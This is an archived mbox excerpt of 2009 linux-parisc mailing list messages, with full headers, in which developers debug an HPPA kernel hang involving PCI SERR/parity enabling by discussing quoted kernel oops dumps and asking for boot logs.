dump is smp_call_function_many+0x7c. This function is 0x2f8 bytes long.

As others have pointed out this smp dump appears to be "harmless" and 
may not be the real culprit of the problems you are seeing.

Is there another error message further on? Your URL doesn't work for me 
either.

randolph
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Mon, 10 Aug 2009 10:01:32 +0200
Lines: 108
Approved: news@gmane.org
Message-ID: <7d01f9f00908100101w3d73e91fmce80eb79e85bdc61@mail.gmail.com>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
	 <4A724818.4080909@tausq.org>
	 <Pine.SOC.4.64.0907310923520.710@math.ut.ee>
	 <20090805174507.GB11458@lackof.org>
	 <Pine.SOC.4.64.0908052241550.4076@math.ut.ee>
	 <20090806141542.bf48febf.berndg@fsim-ev.de>
	 <20090807162242.GA18373@lackof.org>
	 <20090808113100.37e0f4ab.berndg@fsim-ev.de>
	 <20090809052714.GA22362@lackof.org> <4A7F7652.6050209@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1249891321 21021 80.91.229.12 (10 Aug 2009 08:02:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Aug 2009 08:02:01 +0000 (UTC)
Cc: Bernd Gietzelt <berndg@fsim-ev.de>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 10 10:01:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MaPpG-0003RV-Nt
	for glpp-linux-parisc@gmane.org; Mon, 10 Aug 2009 10:01:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751599AbZHJIBf convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Aug 2009 04:01:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751841AbZHJIBf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Aug 2009 04:01:35 -0400
Original-Received: from mail-ew0-f214.google.com ([209.85.219.214]:64043 "EHLO
	mail-ew0-f214.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751599AbZHJIBe convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Aug 2009 04:01:34 -0400
Original-Received: by ewy10 with SMTP id 10so2825971ewy.37
        for <linux-parisc@vger.kernel.org>; Mon, 10 Aug 2009 01:01:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=uZBDuSoyV9Ub3Xny/k7ZUy0doqqTmRB9ESFRY/duQF8=;
        b=ltDgohsnubrJgC61i/Cualx9o/e4FggzAUI1sCo0gqNfpiV1+MACoN/CIF/Y0Rjhb9
         S2n9dvPL+NIOrpNQOxq/81L0xpd8B7wsE4HVONo1hKSEQDkUd4c5wjM/LhcEMJXwb3rO
         lrJ03Mi7/H6/4ccYema4XI9e9k5ke5zuTXyBc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=WLAPyzkKbPvSdfo6wXOJCV1PMUUOsuT3j+3aiQiPR6gI4aaDKmwT8lXd0bE7VtAnAR
         At072Yo3Pn9DzjmUu2pyqJz6x+aBruLtNce4i4qpmsQp3mCbjnqqAipfPop1cRjiheFh
         I+MiL+8UzJbrUu6H+0pOel5ySZDSbQ+z15jzY=
Original-Received: by 10.216.1.85 with SMTP id 63mr852265wec.26.1249891292937; Mon, 10 
	Aug 2009 01:01:32 -0700 (PDT)
In-Reply-To: <4A7F7652.6050209@tausq.org>
X-Google-Sender-Auth: 36a627a9d9f7d9b1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2022
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2022>

On Mon, Aug 10, 2009 at 3:22 AM, Randolph Chung<randolph@tausq.org> wro=
te:
>>
>>> [ =C2=A0 =C2=A07.988000] Freeing unused kernel memory: <0>---------=
---[ cut here
>>> ]------------
>>> [ =C2=A0 =C2=A08.096000] Badness at
>>> /build/buildd/linux-2.6-2.6.30/debian/build/source_hppa_none/kernel=
/smp.c:369
>>> [ =C2=A0 =C2=A08.104000] [ =C2=A0 =C2=A08.104000] =C2=A0 =C2=A0 =C2=
=A0YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>> [ =C2=A0 =C2=A08.108000] PSW: 00001000000001100000000000001110 Not =
tainted
>>> [ =C2=A0 =C2=A08.116000] r00-03 =C2=A0000000000806000e 000000004068=
6fa0 0000000040182c6c
>>> 000000004058d020
>>> [ =C2=A0 =C2=A08.120000] r04-07 =C2=A00000000040668fa0 000000004065=
e7c0 00000000404f7db0
>>> 000000r08-11 =C2=A00000000040686fa0 000000004065e7c0 00000000000000=
00
>>> 00000000406797a0
>>> [ =C2=A0 =C2=A08.644000] r12-15 =C2=A00000000000000001 000000000000=
0001 0000000000000000
>>> 0000000000000001
>>> [ =C2=A0 =C2=A08.776000] r16-19 =C2=A000000000f00003b0 000000004068=
6fa0 000000012f87cb40
>>> 00000000406d6000
>>> [ =C2=A0 =C2=A08.784000] r20-23 =C2=A00000000000000000 00000000406d=
6000 ffffffffffffffff
>>> 0000000000000001
>>> [ =C2=A0 =C2=A08.788000] r24-27 =C2=A00000000000000000 000000004065=
e7c0 00000000404f7db0
>>> 0000000040668fa0
>>> [ =C2=A0 =C2=A08.796000] r28-31 =C2=A00000000000000000 000000012f88=
0490 000000012f880580
>>> 0000000000000000
>>> [ =C2=A0 =C2=A08sr00-03 =C2=A00000000000000000 0000000000000000 000=
0000000000000
>>> 0000000000000000
>>> [ =C2=A0 =C2=A09.208000] sr04-07 =C2=A00000000000000000 00000000000=
00000
>>> 0000000000000000 0000000000000000
>>> [ =C2=A0 =C2=A09.340000] [ =C2=A0 =C2=A09.340000] IASQ: 00000000000=
00000 0000000000000000
>>> IAOQ: 00000000401829b4 00000000401829b8
>>> [ =C2=A0 =C2=A09.348000] =C2=A0IIR: 03ffe01f =C2=A0 =C2=A0ISR: 0000=
000010240000 =C2=A0IOR:
>>> 0000000179de7d0c
>>> [ =C2=A0 =C2=A09.356000] =C2=A0CPU: =C2=A0 =C2=A0 =C2=A0 =C2=A00 =C2=
=A0 CR30: 000000012f880000 CR31:
>>> 0000000000008020
>>> [ =C2=A0 =C2=A09.360000] =C2=A0ORIG_R28: 000000000800000e
>>> [ =C2=A0 =C2=A09.364000] =C2=A0mp_call_function_many+0x7c/0x2f8
>>> [ =C2=A0 =C2=A09.768000] =C2=A0IAOQ[1]: smp_call_function_many+0x80=
/0x2f8
>>> [ =C2=A0 =C2=A09.796000] =C2=A0RP(r2): smp_call_function+0x3c/0x50
>>> [ =C2=A0 =C2=A09.800000] Backtrace:
>>> [ =C2=A0 =C2=A09.804000] Backtrace:
>>> [ =C2=A0 =C2=A09.804000] =C2=A0[<0000000040115fe8>] printk+0x40/0x5=
0
>>> [ =C2=A0 =C2=A09.804000] =C2=A0[<0000000040152760>] print_tainted+0=
xc0/0xe0
>>> [ =C2=A0 =C2=A09.804000] =C2=A0[<0000000040104084>] intr_check_sig+=
0x0/0x38
>>> [ =C2=A0 =C2=A09.804000] =C2=A0[<0000000040104074>] intr_return+0x0=
/0x4
>>> [ =C2=A0 =C2=A09.804000] =C2=A0[<0000000040182c6c>] smp_call_functi=
on+0x3c/0x50
>>> [ =C2=A0 =C2=A09.804000] =C2=A0[<0000000040159d08>] on_each_cpu+0x2=
8/0x68
>>> [ =C2=A0 =C2=A09.804000] =C2=A0[<000000004011b92c>] free_initmem+0x=
94/0x340
>>>

> As others have pointed out this smp dump appears to be "harmless" and=
 may
> not be the real culprit of the problems you are seeing.
>
> Is there another error message further on? Your URL doesn't work for =
me
> either.

=46or the sake of reliability I've put a (temporary) static copy of the=
 page here:
http://www.pateam.org/archive/tmp/serrparitylogs.html
It still links to the original URL for CSS and stuff, but at least the
logs are there.

=46WIW, the above dump is not the final message, from what can be seen
of the other dumps. As a matter of fact, it happens way before the
actual crash, which is triggered by loading drivers (SYM, afaict).
Output is garbled by GSP, and it seems to me that the dump with
pdcchassis=3D0 is truncated. Could the author post a full dump of the
boot log with pdcchassis=3D0 please? (and maybe use pastebin? ;-)

HTH

T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Mon, 10 Aug 2009 10:09:36 +0200
Lines: 118
Approved: news@gmane.org
Message-ID: <7d01f9f00908100109y6265c3efs31a6a2c46679ae90@mail.gmail.com>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
	 <Pine.SOC.4.64.0907310923520.710@math.ut.ee>
	 <20090805174507.GB11458@lackof.org>
	 <Pine.SOC.4.64.0908052241550.4076@math.ut.ee>
	 <20090806141542.bf48febf.berndg@fsim-ev.de>
	 <20090807162242.GA18373@lackof.org>
	 <20090808113100.37e0f4ab.berndg@fsim-ev.de>
	 <20090809052714.GA22362@lackof.org> <4A7F7652.6050209@tausq.org>
	 <7d01f9f00908100101w3d73e91fmce80eb79e85bdc61@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1249891791 22443 80.91.229.12 (10 Aug 2009 08:09:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Aug 2009 08:09:51 +0000 (UTC)
Cc: Bernd Gietzelt <berndg@fsim-ev.de>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 10 10:09:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MaPwt-0006AT-5D
	for glpp-linux-parisc@gmane.org; Mon, 10 Aug 2009 10:09:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751142AbZHJIJk convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Aug 2009 04:09:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751035AbZHJIJk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Aug 2009 04:09:40 -0400
Original-Received: from ey-out-2122.google.com ([74.125.78.24]:9629 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751142AbZHJIJi convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Aug 2009 04:09:38 -0400
Original-Received: by ey-out-2122.google.com with SMTP id 9so837322eyd.37
        for <linux-parisc@vger.kernel.org>; Mon, 10 Aug 2009 01:09:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=LIlznWmvWHSILTCzoRA4Ji6GTkeuiHH/82U4P8UMipY=;
        b=HYMxp/kFed9XwAR2xonuExMTnYStbCF+t0KIovXo6er1QH1b6bTULex7QoS7FwQJgk
         udqCAlmLgFkhAxVzk+AT5x0JVOwEcqX8be22D9+oP12DXq8k48tE1P91wzkxNdg5NQif
         +C1eLhsOjWAdrNfyYT1Kpmx+1rGjq4pX1cKcI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=Q3WnXP09fqMmRIN5e+yQx4T+1Qa7EX0IhIw+K1laxC16EXxqLpkOFhFe2Atr4aup3I
         iY5R1uaE3aZkEvbwcwYsAmX3UYX/aISJQ0FH0jh9JPfieKzSrnLKUYc4ecJtED/zSqZu
         7VNhbJv52Y5b+ZmYhTDoTZLh1YHkFbNO+Fmr0=
Original-Received: by 10.216.8.65 with SMTP id 43mr844897weq.168.1249891776707; Mon, 10 
	Aug 2009 01:09:36 -0700 (PDT)
In-Reply-To: <7d01f9f00908100101w3d73e91fmce80eb79e85bdc61@mail.gmail.com>
X-Google-Sender-Auth: f2141050645fb4f0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2023
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2023>

On Mon, Aug 10, 2009 at 10:01 AM, Thibaut VARENE<T-Bone@parisc-linux.or=
g> wrote:
> On Mon, Aug 10, 2009 at 3:22 AM, Randolph Chung<randolph@tausq.org> w=
rote:
>>>
>>>> [ =C2=A0 =C2=A07.988000] Freeing unused kernel memory: <0>--------=
----[ cut here
>>>> ]------------
>>>> [ =C2=A0 =C2=A08.096000] Badness at
>>>> /build/buildd/linux-2.6-2.6.30/debian/build/source_hppa_none/kerne=
l/smp.c:369
>>>> [ =C2=A0 =C2=A08.104000] [ =C2=A0 =C2=A08.104000] =C2=A0 =C2=A0 =C2=
=A0YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>>> [ =C2=A0 =C2=A08.108000] PSW: 00001000000001100000000000001110 Not=
 tainted
>>>> [ =C2=A0 =C2=A08.116000] r00-03 =C2=A0000000000806000e 00000000406=
86fa0 0000000040182c6c
>>>> 000000004058d020
>>>> [ =C2=A0 =C2=A08.120000] r04-07 =C2=A00000000040668fa0 00000000406=
5e7c0 00000000404f7db0
>>>> 000000r08-11 =C2=A00000000040686fa0 000000004065e7c0 0000000000000=
000
>>>> 00000000406797a0
>>>> [ =C2=A0 =C2=A08.644000] r12-15 =C2=A00000000000000001 00000000000=
00001 0000000000000000
>>>> 0000000000000001
>>>> [ =C2=A0 =C2=A08.776000] r16-19 =C2=A000000000f00003b0 00000000406=
86fa0 000000012f87cb40
>>>> 00000000406d6000
>>>> [ =C2=A0 =C2=A08.784000] r20-23 =C2=A00000000000000000 00000000406=
d6000 ffffffffffffffff
>>>> 0000000000000001
>>>> [ =C2=A0 =C2=A08.788000] r24-27 =C2=A00000000000000000 00000000406=
5e7c0 00000000404f7db0
>>>> 0000000040668fa0
>>>> [ =C2=A0 =C2=A08.796000] r28-31 =C2=A00000000000000000 000000012f8=
80490 000000012f880580
>>>> 0000000000000000
>>>> [ =C2=A0 =C2=A08sr00-03 =C2=A00000000000000000 0000000000000000 00=
00000000000000
>>>> 0000000000000000
>>>> [ =C2=A0 =C2=A09.208000] sr04-07 =C2=A00000000000000000 0000000000=
000000
>>>> 0000000000000000 0000000000000000
>>>> [ =C2=A0 =C2=A09.340000] [ =C2=A0 =C2=A09.340000] IASQ: 0000000000=
000000 0000000000000000
>>>> IAOQ: 00000000401829b4 00000000401829b8
>>>> [ =C2=A0 =C2=A09.348000] =C2=A0IIR: 03ffe01f =C2=A0 =C2=A0ISR: 000=
0000010240000 =C2=A0IOR:
>>>> 0000000179de7d0c
>>>> [ =C2=A0 =C2=A09.356000] =C2=A0CPU: =C2=A0 =C2=A0 =C2=A0 =C2=A00 =C2=
=A0 CR30: 000000012f880000 CR31:
>>>> 0000000000008020
>>>> [ =C2=A0 =C2=A09.360000] =C2=A0ORIG_R28: 000000000800000e
>>>> [ =C2=A0 =C2=A09.364000] =C2=A0mp_call_function_many+0x7c/0x2f8
>>>> [ =C2=A0 =C2=A09.768000] =C2=A0IAOQ[1]: smp_call_function_many+0x8=
0/0x2f8
>>>> [ =C2=A0 =C2=A09.796000] =C2=A0RP(r2): smp_call_function+0x3c/0x50
>>>> [ =C2=A0 =C2=A09.800000] Backtrace:
>>>> [ =C2=A0 =C2=A09.804000] Backtrace:
>>>> [ =C2=A0 =C2=A09.804000] =C2=A0[<0000000040115fe8>] printk+0x40/0x=
50
>>>> [ =C2=A0 =C2=A09.804000] =C2=A0[<0000000040152760>] print_tainted+=
0xc0/0xe0
>>>> [ =C2=A0 =C2=A09.804000] =C2=A0[<0000000040104084>] intr_check_sig=
+0x0/0x38
>>>> [ =C2=A0 =C2=A09.804000] =C2=A0[<0000000040104074>] intr_return+0x=
0/0x4
>>>> [ =C2=A0 =C2=A09.804000] =C2=A0[<0000000040182c6c>] smp_call_funct=
ion+0x3c/0x50
>>>> [ =C2=A0 =C2=A09.804000] =C2=A0[<0000000040159d08>] on_each_cpu+0x=
28/0x68
>>>> [ =C2=A0 =C2=A09.804000] =C2=A0[<000000004011b92c>] free_initmem+0=
x94/0x340
>>>>
>
>> As others have pointed out this smp dump appears to be "harmless" an=
d may
>> not be the real culprit of the problems you are seeing.
>>
>> Is there another error message further on? Your URL doesn't work for=
 me
>> either.
>
> For the sake of reliability I've put a (temporary) static copy of the=
 page here:
> http://www.pateam.org/archive/tmp/serrparitylogs.html
> It still links to the original URL for CSS and stuff, but at least th=
e
> logs are there.
>
> FWIW, the above dump is not the final message, from what can be seen
> of the other dumps. As a matter of fact, it happens way before the
> actual crash, which is triggered by loading drivers (SYM, afaict).
> Output is garbled by GSP, and it seems to me that the dump with
> pdcchassis=3D0 is truncated. Could the author post a full dump of the
> boot log with pdcchassis=3D0 please? (and maybe use pastebin? ;-)

Bummer, I've been reading the logs a bit too quickly. It seems we have
two different problems here:

2.6.30-1-64smp doesn't boot (apparently doesn't load init, hangs after
the badness in smp.c message)
2.6.30-1-64up crashes while loading PCI drivers

A log of the up kernel with pdcchassis=3D0 would thus be helpful.

HTH

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bernd Gietzelt <berndg@fsim-ev.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Mon, 10 Aug 2009 10:26:35 +0200
Organization: FSIM e.V.
Lines: 95
Approved: news@gmane.org
Message-ID: <20090810102635.5c375177.berndg@fsim-ev.de>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
	<4A724818.4080909@tausq.org>
	<Pine.SOC.4.64.0907310923520.710@math.ut.ee>
	<20090805174507.GB11458@lackof.org>
	<Pine.SOC.4.64.0908052241550.4076@math.ut.ee>
	<20090806141542.bf48febf.berndg@fsim-ev.de>
	<20090807162242.GA18373@lackof.org>
	<20090808113100.37e0f4ab.berndg@fsim-ev.de>
	<20090809052714.GA22362@lackof.org>
	<4A7F7652.6050209@tausq.org>
	<7d01f9f00908100101w3d73e91fmce80eb79e85bdc61@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1249892814 25025 80.91.229.12 (10 Aug 2009 08:26:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Aug 2009 08:26:54 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 10 10:26:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MaQDM-0006RR-1G
	for glpp-linux-parisc@gmane.org; Mon, 10 Aug 2009 10:26:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751131AbZHJI0l convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Aug 2009 04:26:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751668AbZHJI0l
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Aug 2009 04:26:41 -0400
Original-Received: from 28-43-236-85.rev.customer-net.de ([85.236.43.28]:53426 "EHLO
	mail.fsim-ev.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750952AbZHJI0k convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Aug 2009 04:26:40 -0400
Original-Received: from media (dslb-084-056-074-157.pools.arcor-ip.net [84.56.74.157])
	by mail.fsim-ev.de (Postfix) with ESMTPSA id 6778D26207C;
	Mon, 10 Aug 2009 10:26:37 +0200 (CEST)
In-Reply-To: <7d01f9f00908100101w3d73e91fmce80eb79e85bdc61@mail.gmail.com>
X-Mailer: Sylpheed 2.6.0 (GTK+ 2.16.1; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2024
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2024>

On Mon, 10 Aug 2009 10:01:32 +0200
Thibaut VARENE <T-Bone@parisc-linux.org> wrote:

> On Mon, Aug 10, 2009 at 3:22 AM, Randolph Chung<randolph@tausq.org>
> wrote:
> >>
> >>> [ =A0 =A07.988000] Freeing unused kernel memory: <0>------------[=
 cut
> >>> here ]------------
> >>> [ =A0 =A08.096000] Badness at
> >>> /build/buildd/linux-2.6-2.6.30/debian/build/source_hppa_none/kern=
el/smp.c:369
> >>> [ =A0 =A08.104000] [ =A0 =A08.104000]
> >>> =A0YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI [ =A0 =A08.108000] PSW:
> >>> 00001000000001100000000000001110 Not tainted [ =A0 =A08.116000]
> >>> r00-03 =A0000000000806000e 0000000040686fa0 0000000040182c6c
> >>> 000000004058d020 [ =A0 =A08.120000] r04-07 =A00000000040668fa0
> >>> 000000004065e7c0 00000000404f7db0 000000r08-11 =A00000000040686fa=
0
> >>> 000000004065e7c0 0000000000000000 00000000406797a0
> >>> [ =A0 =A08.644000] r12-15 =A00000000000000001 0000000000000001
> >>> 0000000000000000 0000000000000001
> >>> [ =A0 =A08.776000] r16-19 =A000000000f00003b0 0000000040686fa0
> >>> 000000012f87cb40 00000000406d6000
> >>> [ =A0 =A08.784000] r20-23 =A00000000000000000 00000000406d6000
> >>> ffffffffffffffff 0000000000000001
> >>> [ =A0 =A08.788000] r24-27 =A00000000000000000 000000004065e7c0
> >>> 00000000404f7db0 0000000040668fa0
> >>> [ =A0 =A08.796000] r28-31 =A00000000000000000 000000012f880490
> >>> 000000012f880580 0000000000000000
> >>> [ =A0 =A08sr00-03 =A00000000000000000 0000000000000000 0000000000=
000000
> >>> 0000000000000000
> >>> [ =A0 =A09.208000] sr04-07 =A00000000000000000 0000000000000000
> >>> 0000000000000000 0000000000000000
> >>> [ =A0 =A09.340000] [ =A0 =A09.340000] IASQ: 0000000000000000
> >>> 0000000000000000 IAOQ: 00000000401829b4 00000000401829b8
> >>> [ =A0 =A09.348000] =A0IIR: 03ffe01f =A0 =A0ISR: 0000000010240000 =
=A0IOR:
> >>> 0000000179de7d0c
> >>> [ =A0 =A09.356000] =A0CPU: =A0 =A0 =A0 =A00 =A0 CR30: 000000012f8=
80000 CR31:
> >>> 0000000000008020
> >>> [ =A0 =A09.360000] =A0ORIG_R28: 000000000800000e
> >>> [ =A0 =A09.364000] =A0mp_call_function_many+0x7c/0x2f8
> >>> [ =A0 =A09.768000] =A0IAOQ[1]: smp_call_function_many+0x80/0x2f8
> >>> [ =A0 =A09.796000] =A0RP(r2): smp_call_function+0x3c/0x50
> >>> [ =A0 =A09.800000] Backtrace:
> >>> [ =A0 =A09.804000] Backtrace:
> >>> [ =A0 =A09.804000] =A0[<0000000040115fe8>] printk+0x40/0x50
> >>> [ =A0 =A09.804000] =A0[<0000000040152760>] print_tainted+0xc0/0xe=
0
> >>> [ =A0 =A09.804000] =A0[<0000000040104084>] intr_check_sig+0x0/0x3=
8
> >>> [ =A0 =A09.804000] =A0[<0000000040104074>] intr_return+0x0/0x4
> >>> [ =A0 =A09.804000] =A0[<0000000040182c6c>] smp_call_function+0x3c=
/0x50
> >>> [ =A0 =A09.804000] =A0[<0000000040159d08>] on_each_cpu+0x28/0x68
> >>> [ =A0 =A09.804000] =A0[<000000004011b92c>] free_initmem+0x94/0x34=
0
> >
> > Is there another error message further on?=20

No. Nothing. After that point the system give no further messages.
Someone noted it looks like a deadlock.

> For the sake of reliability I've put a (temporary) static copy of the

Thank you for that.

> FWIW, the above dump is not the final message, from what can be seen
> of the other dumps. As a matter of fact, it happens way before the
> actual crash, which is triggered by loading drivers (SYM, afaict).
> Output is garbled by GSP, and it seems to me that the dump with
> pdcchassis=3D0 is truncated. Could the author post a full dump of the
> boot log with pdcchassis=3D0 please? (and maybe use pastebin? ;-)

http://www.pateam.org/archive/tmp/serrparitylogs.html#kernel_2.6.30-1-p=
arisc64-smp
is a full dump of the boot log.

I've blacklisted the tulip kernel module but this doesn't change the
behavior. I'll try a custom kernel without all these driver.

cheers,
bernd

--=20
Bernd Gietzelt <berndg@fsim-ev.de>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bernd Gietzelt <berndg@fsim-ev.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Mon, 10 Aug 2009 13:08:27 +0200
Organization: FSIM e.V.
Lines: 25
Approved: news@gmane.org
Message-ID: <20090810130827.98dfd895.berndg@fsim-ev.de>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
	<Pine.SOC.4.64.0907310923520.710@math.ut.ee>
	<20090805174507.GB11458@lackof.org>
	<Pine.SOC.4.64.0908052241550.4076@math.ut.ee>
	<20090806141542.bf48febf.berndg@fsim-ev.de>
	<20090807162242.GA18373@lackof.org>
	<20090808113100.37e0f4ab.berndg@fsim-ev.de>
	<20090809052714.GA22362@lackof.org>
	<4A7F7652.6050209@tausq.org>
	<7d01f9f00908100101w3d73e91fmce80eb79e85bdc61@mail.gmail.com>
	<7d01f9f00908100109y6265c3efs31a6a2c46679ae90@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249902524 19568 80.91.229.12 (10 Aug 2009 11:08:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Aug 2009 11:08:44 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 10 13:08:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MaSjz-0003CM-R0
